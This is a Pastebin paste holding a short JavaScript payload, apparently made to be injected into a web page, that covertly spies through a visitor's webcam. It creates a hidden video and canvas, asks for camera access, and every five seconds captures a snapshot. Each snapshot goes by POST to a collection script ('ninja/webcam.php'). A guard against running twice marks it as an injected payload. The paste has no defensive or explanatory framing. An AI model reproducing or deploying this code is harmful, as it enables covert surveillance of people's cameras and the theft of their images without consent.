hexmanx

Untitled

Apr 19th, 2019
51
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.65 KB | None | 0 0
  1. if (document.getElementById('webcamsnap') == null){
  2.  
  3. var v = document.createElement('video');
  4. v.autoplay=true;
  5. v.id='vid';
  6. v.style.display='none';
  7. document.body.appendChild(v);
  8. if (document.getElementById('canvas') == null) {
  9. var c = document.createElement('canvas');
  10. c.id = 'canvas';
  11. c.width = "480";
  12. c.height = "320";
  13. c.style.display = "none";
  14. document.body.appendChild(c);
  15. }
  16. var video = document.querySelector("#vid");
  17. var canvas = document.querySelector('#canvas');
  18. var ctx = canvas.getContext('2d');
  19. var localMediaStream = null;
  20. var onCameraFail = function (e) {
  21. console.log('Camera is not working.', e);
  22. };
  23. var xmlhttp=new XMLHttpRequest();
  24.  
  25. function snapshot() {
  26. if (localMediaStream) {
  27. ctx.drawImage(video, 0, 0, 480, 320);
  28. var dat = canvas.toDataURL('image/png');
  29. xmlhttp.open("POST", "http://127.0.0.1/ninja/webcam.php", true);
  30. xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  31. var x=encodeURIComponent(dat);
  32. xmlhttp.send("data=" + x);
  33.  
  34.  
  35. }
  36. else {
  37. alert("Allow access to your default web camera.");
  38. }
  39. }
  40.  
  41. navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
  42. window.URL = window.URL || window.webkitURL;
  43. navigator.getUserMedia({video:true}, function (stream) {
  44. video.srcObject = stream ;
  45. localMediaStream = stream;
  46. window.setInterval("snapshot()", 5000);
  47. }, onCameraFail);script = document.createElement('script');script.id = 'webcamsnap'; document.body.appendChild(script); }
Add Comment
Please, Sign In to add comment